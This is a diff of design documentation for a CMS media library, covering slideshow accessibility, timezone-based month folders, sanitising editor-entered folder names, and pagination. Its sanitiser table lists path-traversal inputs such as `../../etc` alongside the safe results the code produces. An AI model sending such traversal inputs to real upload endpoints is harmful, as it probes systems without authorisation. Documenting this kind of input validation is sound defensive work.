+ Keyboard: the track is focusable and arrow keys step through slides, wrapping at
121
+ both ends. Autoplay is **off** unless switched on, pauses on interaction, exposes
122
+ a pause control with `aria-pressed`, never runs while the tab is hidden, and does
123
+ not run at all under `prefers-reduced-motion`. The interval is clamped by
124
+ `clampAutoplayMs`, so a mistyped `10` in the admin cannot produce a slideshow
125
+ that changes a hundred times a second.
@@ -0,0 +1,90 @@
1
+ # Media folders
2
+
3
+ `src/media/folders.ts` is the whole of it. Nothing else builds a storage path.
4
+
5
+ ## Existing files do not move
6
+
7
+ The single most important property: **this change does not touch a byte of
8
+ existing media.** No file is relocated, no path is rewritten, no URL that works
9
+ today stops working. Old files sit at the root; new files go into folders; both
10
+ are listed together.
11
+
12
+ There is no migration because there is no migration that would be safe. Moving
13
+ objects in storage breaks every URL already pasted into a page, an email or a
14
+ customer's browser history, and storage moves are not transactional with the
15
+ database rows that point at them.
16
+
17
+ ## Automatic month folders
18
+
19
+ The default upload mode files by month in the site's timezone:
20
+
21
+ ```
22
+ 2026-09/skargarden-sunset.jpg
23
+ ```
24
+
25
+ `monthFolder(now, timezone)` is the only producer of that name, and
26
+ `isMonthFolder` recognises it, so the browser can tell an automatic folder from
27
+ one somebody named.
28
+
29
+ The site's timezone, not UTC: an upload at 01:00 on 1 September in Stockholm
30
+ belongs in `2026-09`, and filing it under `2026-08` because the server thinks in
31
+ UTC would put it in the wrong month for the only people who ever look.
32
+
33
+ ## Custom folders, and the rule about them
34
+
35
+ An editor can type a folder for a batch instead. This is the input that reaches
36
+ the filesystem, so it is validated rather than trusted.
37
+
38
+ `sanitizeFolderSegment` keeps `A-Za-z0-9._-` and turns everything else into a
39
+ dash, then strips leading and trailing dots and dashes. The dangerous shapes are
40
+ therefore *structurally impossible* rather than blocked by a denylist:
41
+
42
+ | Input | Result |
43
+ | --- | --- |
44
+ | `../../etc` | `MediaFolderError` — see below |
45
+ | `/absolute` | `absolute` — leading separators are empty segments and are dropped |
46
+ | `a//b` | `a/b` |
47
+ | `C:\Users\x` | backslashes are separators too, so this is segments, never a drive |
48
+ | `Vinter 2026!` | `Vinter-2026` |
49
+ | `.hidden` | `hidden` |
50
+ | `a/b/c/d/e` | `a/b/c` — capped at `MEDIA_FOLDER_MAX_SEGMENTS` |
51
+ | `` (empty) | `""` → the automatic month folder |
52
+
53
+ `..` is **refused with an error, not rewritten.** `../../gallery` would sanitize
54
+ to the perfectly safe folder `gallery`, and uploading there would be harmless —
55
+ but it is not what was asked for. Silently filing someone's batch somewhere other
56
+ than where they said is a worse outcome than an error message, and a traversal
57
+ attempt deserves an answer rather than a shrug.
58
+
59
+ An empty folder is not an error: `assertMediaFolder` returns `""` and the caller
60
+ falls back to the month folder (`assertMediaFolder(input.folder) ||
61
+ monthFolder(...)`). Auto is the default, so "nothing typed" means "use the
62
+ default", not "use the bucket root".
63
+
64
+ Bounds are explicit: `MEDIA_FOLDER_MAX_SEGMENTS` (3),
65
+ `MEDIA_FOLDER_MAX_SEGMENT_LENGTH` (64), `MEDIA_FOLDER_MAX_LENGTH` (160). A
66
+ thousand-character path is not a legitimate use; it is either an accident or an
67
+ attempt.
68
+
69
+ `MediaFolderError` carries a message an editor can act on, naming what they
70
+ typed. `sanitizeMediaFolder` returns the cleaned string for the live preview
71
+ under the input, so the editor sees what they will get *before* uploading — the
72
+ sanitiser and the preview are the same function, so they cannot disagree.
73
+
74
+ Every upload path goes through `assertMediaFolder`. The check is server-side.
75
+ The browser preview is a courtesy, not the control.
76
+
77
+ ## Browsing
78
+
79
+ The library has three modes:
80
+
81
+ - **Recent** — newest first across everything, paginated.
82
+ - **Folders** — `summarizeMediaFolders` groups paths into folders with counts;
83
+ root files appear under `ROOT_FOLDER_LABEL` ("Library root") rather than being
84
+ hidden, which matters because on an upgraded site that is where all the
85
+ existing media is.
86
+ - **Search** — by filename, paginated.
87
+
88
+ Pagination is real: the list requests a page at a time rather than fetching
89
+ every row and slicing in the browser. A library with 8,000 images is the normal
90
+ case after a few years, not an edge case.